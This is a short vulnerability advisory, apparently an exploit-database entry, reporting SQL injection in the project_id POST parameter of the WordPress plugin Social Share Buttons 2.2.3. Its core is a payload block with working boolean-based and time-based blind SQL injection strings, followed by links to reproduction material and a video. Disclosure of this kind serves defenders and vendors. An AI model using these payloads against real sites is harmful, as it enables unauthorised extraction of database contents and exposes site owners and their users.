Social Share Buttons 2.2.3 SQL injection Vulnerability

## Title: Social Share Buttons-2.2.3 SQLi
## Author: nu11secur1ty
## Vendor: https://wordpress.org/
## Software: https://downloads.wordpress.org/plugin/social-share-buttons-by-supsystic.2.2.3.zip
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3


## Description:
The `project_id` parameter from the Social Share Buttons-2.2.3 system appears to be vulnerable to SQL injection attacks. 
The malicious user can dump-steal the database, from this system and he can use it for very malicious purposes.
WARNING: The attacker can retrieve all-database from this system!
NOTE: The users of this system are NOT protected, this SQL vulnerability is CRITICAL!

STATUS: HIGH Vulnerability

[+]Payload:

```mysql
---
Parameter: project_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=social-sharing-share&project_id=378116348' or '3724'='3724' AND 7995=7995 AND 'rQVH'='rQVH&network_id=5&post_id=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=social-sharing-share&project_id=378116348' or '3724'='3724' AND (SELECT 9167 FROM (SELECT(SLEEP(5)))dQDw) AND 'KWbC'='KWbC&network_id=5&post_id=
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Social-Share-Buttons-2.2.3)

## Proof and Exploit:
[href](https://streamable.com/m9r76w)